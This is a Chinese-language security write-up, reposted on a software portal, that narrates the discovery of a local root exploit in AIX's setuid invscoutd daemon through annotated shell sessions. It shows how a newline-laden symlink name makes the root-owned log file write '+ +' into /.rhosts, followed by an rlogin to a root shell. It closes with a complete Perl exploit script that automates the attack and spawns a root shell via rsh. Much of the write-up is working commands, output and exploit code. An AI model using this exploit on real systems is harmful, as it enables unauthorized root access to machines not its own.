登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 漏洞分析 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

AIX捉虫记之__invscoutd
发表日期:2006-03-12作者:watercloud[转贴] 出处:安全焦点  

AIX捉虫记
                              
                              之invscoutd





本文是考查AIX安全性时的一小段笔记(其实就是屏幕copy),
整理了一下加了点注释,和有兴趣的朋友分享 :)

[ 文中涉及到我发现的一个AIX4.x & 5L上的漏洞,可以使普通用户获得root权限,现在IBM好像还没有补丁,望大家善用之 ]


时间:2003-5-3日
天气:晴,万里无云的天空飘着几朵小小的白云

今天心情很好,前两天捉AIX的安全BUG很有收获,栈堆溢出、堆溢出、格式串、PATH欺骗执行命令
等都有了,今天继续……

平台信息:
-bash-2.05b$ oslevel
5.1.0.0
-bash-2.05b$ oslevel -r
5100-01


按八字排列今天应该考查invscoutd命令了
-bash-2.05b$ ls -l /usr/sbin/invscoutd
-r-sr-xr-x   1 root     system       217868 Aug 03 2001  /usr/sbin/invscoutd
  
   |
   +------考查理由? 需要么?谁叫他带了这个s位!


首先了解一下这个命令是哪个道上混的~
-bash-2.05b$man invscoutd          
…………
The invscoutd command implements a permanent Inventory Scout server daemon on
one machine in a user's local network. The usual client is a Java applet running
in the user's Web browser, which was downloaded from a central Inventory Scout
CGI application.
…………

赖着性子看完,瞌睡ing ...

再来看看这个命令的长相:
-bash-2.05b$ invscoutd          
invscoutd: Missing log file name.
Inventory Scout Daemon 2.0.2.  @@@ CAT VERSION @@@
USAGE: invscoutd [options] logfile                           <-- 还写日志文件的说。
logfile  Append status and err msgs.  '-' means write to stderr.
-o       Overwrite preexisting log file instead of append.  <-- 还可以覆盖已有文件的说~
-pN      Change port number to N from default 808.          <-- 默认监听在808端口
-bN      Change read buffer size to N from default 1024.
-dN      Change max logic db file size to N from default 50000.
-tN      Change timeout period to N seconds from default 30 seconds.
-vN      Change verbosity level to N from default 18,  <--支持交互级别,级别越高记录信息应该越详细
          25=max 20=debug 18=calls 15=banner 10=errs 5=fatal 0=none.

依稀记得以前Unix上有不少漏洞和日志文件权限处理不正确有关,
就先考查一下他的这个日志文件吧 ~~~


-bash-2.05b$ ls -l /tmp/bb
ls: 0653-341 The file /tmp/bb does not exist.

-bash-2.05b$ invscoutd /tmp/bb    
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=17028
  flog=/tmp/bb
-bash-2.05b$ ls -l /tmp/bb
-rw-r--r--   1 root     staff           270 May 03 03:54 /tmp/bb

哇噻~~,权限果然有问题!!日志文件是root所有的说!!
睡意全无,立刻就清醒了!


有点不敢相信自己的眼睛,漏洞有这么好找吗??!!赶紧敲个id确认一下,不会是自己本来就是root登陆的
-bash-2.05b$ id
uid=203(cloud) gid=1(staff)

看来没错,是个漏洞,那我能利用这个漏洞做什么呢??
想想……

至少可以把系统重要配置文件破坏掉吧,哈哈……

再想想对于不存在的重要文件如/.rhosts文件(其实暂时也就想到这么一个文件),
我们可以用这个漏洞创建这个文件,要是之前执行一次
umask 000
创建的文件我们就有修改权限了 ^_^

这样我们就可以任意改写文件内容了,如:/.rhosts中加一行
+ +

可惜r系列服务使用.rhosts时会对文件属性进行检查:
如果文件不属于对应用户,或文件权限 除所有者外其他用户或同组用户有写权限均验证失败!

看来通过创建一个我们可写的/.rhosts文件来获得root权限是行不通了~~

我们覆盖重要文件如/etc/passwd,并不能改变文件权限~~

回头再一琢磨,我们不就是要想控制写入文件的内容吗?不能通过直接获得文件写权限自由写内容,
那就间接点,要是日志文件写入内容我们可以控制那不也能通过修改
/.rhosts,/etc/passwd,/var/spool/cron/crontabs/root 等文件
把自己变为root了吗?



赶紧来看看日志文件里写了什么内容:
-bash-2.05b$ cat /tmp/bb
2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 03:54:37 P17028:invscoutd_2.0.2 Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=17028
  flog=/tmp/bb

里面好像就flog=/tmp/bb和输入有关。

再试试,看这个问题能不能重现.

-bash-2.05b$ invscoutd ./aa
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Exit code 2, pid 536968056.

看来还得先杀掉老的进程才能再试。

-bash-2.05b$ ps -ef |grep invs
   cloud 15526     1   0 04:36:25  pts/0  0:00 invscoutd ./aa
   cloud 16068 16836   1 04:37:50  pts/0  0:00 grep invs
-bash-2.05b$ kill -9 15526

看看刚才出错记录到log文件了没?
-bash-2.05b$ ls -l ./aa
ls: 0653-341 The file ./aa does not exist.

没有的说。


我再试试,我非要重现一次才放心.
-bash-2.05b$ invscoutd ./aa
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=15526
  flog=./aa

-bash-2.05b$ ls -l ./aa
ls: 0653-341 The file ./aa does not exist.
咦,为什么没有记进来?难道文件名还必须以/打头?,先不管了,就写到/tmp下吧,再试试。

这次学乖了,先杀掉进程。
-bash-2.05b$ ps -ef |grep invsc
   cloud 14194 15338   3 03:55:29  pts/0  0:00 grep invsc
   cloud 17028     1   0 03:54:37  pts/0  0:00 invscoutd ./aa
-bash-2.05b$ kill -9 17028

…………

经测试,果然能重现,放心了~~



想了想,要通过改写.rhosts ,passwd,crotable突破系统权限取得root特权,
都必须要能完整的控制一行写入文件的内容,日志中能控制的是:
  flog=输入文件名
部分,那面文件名中带换行符就可以控制一行的内容了,如:
aaaa\n完整的一行\naaaa这种形似的文件名。
想了就做.


但命令行上一时想不起来如何输入\n字符并把它作为命令行的一个参数,
刚好以前学的perl派上了用场 ^_*
用perl来执行一个系统命令invscoutd "/tmp/bbbbb\n+ +\nddd",
看看能不能产生一个单独的一行记录内容
+ +

-bash-2.05b$ perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=16282
  flog=/tmp/bbbbb
+ +
ddd
-bash-2.05b$ cat /tmp/bbbbb*
2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..
2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Exit code 2, pid 536968072.
2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 03:59:27 P16282:invscoutd_2.0.2 Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=16282
  flog=/tmp/bbbbb
+ +
ddd

嘿嘿,可以的说!!

-bash-2.05b$ ls -l /tmp/bbbbb*
-rw-r--r--   1 root     staff           602 May 03 03:59 /tmp/bbbbb
+ +
ddd

那我们如何写"\n+ +\n"内容到/.rhosts呢?


想想……

再想想……

呵呵,我想到了,你想到了吗?

再给你5分钟,好好想想~~





如果直接执行invscoutd /.rhosts
肯定不行,里面不会有我们期望的
+ +
行。

如果我们执行perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'
向log文件写入
+ +
成功,

但写入的文件是"/tmp/bbbbb\n+ +\nddd",而我们现在期望是写到/.rhosts文件,

再想想…………

归纳一下,问题核心是想把A文件名写入B文件中,
Unix下的符号链接好像就是这个桥梁耶~

我们建立一个A -> B的符号连接不就行了!
ln -s B A
然后
invscoutd A
应该就成了。


开始行动:

-bash-2.05b$ ls -l /.rhosts
ls: 0653-341 The file /.rhosts does not exist.

建立A -> B的符号链接:
-bash-2.05b$ perl -e 'symlink "/.rhosts","/tmp/cc\n+ +\ndd";'
这里B是"/.rhosts"
A是"/tmp/cc\n+ +\ndd"

-bash-2.05b$ ls -l /tmp/cc*
lrwxrwxrwx   1 cloud    staff             8 May 03 04:02 /tmp/cc
+ +
dd -> /.rhosts

来,执行之

-bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";'
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Exit code 2, pid 536968072.
-bash-2.05b$ ps -ef |grep invsc
   cloud 16282     1   0 03:59:27      -  0:00 invscoutd /tmp/bbbbb?+ +?ddd
   cloud 17146 15338   1 04:03:40  pts/0  0:00 grep invsc
-bash-2.05b$ kill -9 16282
-bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";'
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=17150
  flog=/tmp/cc
+ +
dd

看看文件生成了没有:
-bash-2.05b$ ls -l /.rhosts
-rw-r--r--   1 root     staff           598 May 03 04:03 /.rhosts

ok,来继续看看内容:

-bash-2.05b$ cat /.rhosts
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Exit code 2, pid 536968072.
2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 04:03:48 P17150:invscoutd_2.0.2 Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=17150
  flog=/tmp/cc
+ +
dd


呵呵+ +写进去了!!!

来,用root用户 rlogin localhost登陆系统,这样就能取得root权限了:

-bash-2.05b$ rlogin -l root localhost
usage: rlogin host [ -ex ] [ -l username ] [-f|-F] [-k realm] [ -8 ]

faint ! 一高兴起来就连命令格式都给忘了 :(

再来:

-bash-2.05b$ rlogin localhost -l root
*******************************************************************************
*                                                                             *
*                                                                             *
*  Welcome to AIX Version 5.1!                                                *
*                                                                             *
*                                                                             *
*  Please see the README file in /usr/lpp/bos for information pertinent to    *
*  this release of the AIX Operating System.                                  *
*                                                                             *
*                                                                             *
*******************************************************************************
…………

-bash-2.05b#        <--好爽的特权"#"提示附耶!
-bash-2.05b# id
uid=0(root) gid=0(system) groups=2(bin),3(sys),7(security),8(cron),10(audit),11(lp)


哈哈哈~~搞定啦~~偶麻雀变root啦~~
学了这么多年的Unix知识终于没白学呀~~
热泪盈框ing ……


继续感动ing……



◎!#◎%¥#%,还在陶醉~~! ! !


好啦~好啦~自恋狂!该干活啦~~


简单清理战场~
-bash-2.05b# rm /.rhosts
-bash-2.05b# rm /tmp/bb* /tmp/cc*
-bash-2.05b# ps -ef |grep invsc
   cloud 14306 15338   1 04:05:51  pts/0  0:00 grep invsc
   cloud 17150     1   0 04:03:48      -  0:00 invscoutd /tmp/cc?+ +?dd
-bash-2.05b# kill -9 17150
-bash-2.05b#

























































还看呀?!已经拉下帷幕了,都是后台操作了!

^_^


























================================ 后记 ===============================
这个漏洞在Aix4.x上也存在,去年一个罗马IBM的工程师给我讲高版本的invscoutd
系统 没有这个安全bug了,但最近我重装了一个5.1 update到2004-5月出的ML06后
还是有这个问题,比较奇怪 :-(

最后附上根据以上内容编写的利用程序 x_aix4x-5l_invscoutd.pl

#!/usr/bin/perl
# FileName: x_invscoutd.pl
# Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.
# Tested  : on Aix4.3.3 & Aix5.1.
#           Some high version of invscoutd is not affected.
# Author  : watercloud@nsfocus.com
#           watercloud@xfocus.org
# Date    : 2003-5-29
# Announce: use as your owner risk!

$LOG="/tmp/.ex/.hello\n+ +\nworld";
$CMD="/usr/sbin/invscoutd";
umask 022;
mkdir "/tmp/.ex",0777;

print "Exploit error on kill process invscoutd !!" ,exit 1
  if &killproc() == 0;

symlink "/.rhosts",$LOG;
system $CMD,"-p7321",$LOG; &killproc();
unlink $LOG;
print "\n============\nRemember to remove /.rhosts !!\n";
print "rsh localhost -l root '/bin/sh -i'\n";
print "waiting . . . . . .\n";
system "rsh","localhost","-l","root","/bin/sh -i";

system $CMD,"-p808","/dev/null" ; &killproc();
rmdir "/tmp/.ex";

sub killproc() {
  $_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;
  @proc_lst=split;
  $ret=kill 9,$proc_lst[1] if $proc_lst[1];
  $ret=-1 if ! defined $ret;
  return $ret;
}
#EOF

=============================================================




















Game Over !


祝大家6.1快乐 :)





                                                          watercloud


                                                           2004-6-1


















========================
原文发表在:
nsfocus第48期月刊:http://www.nsfocus.net/index.php?act=magazine&do=view&mid=2201
后贴于xfocus Unix hacking版: https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=37203
两个版本稍有不同。

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 AIX捉虫记之__invscoutd

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00253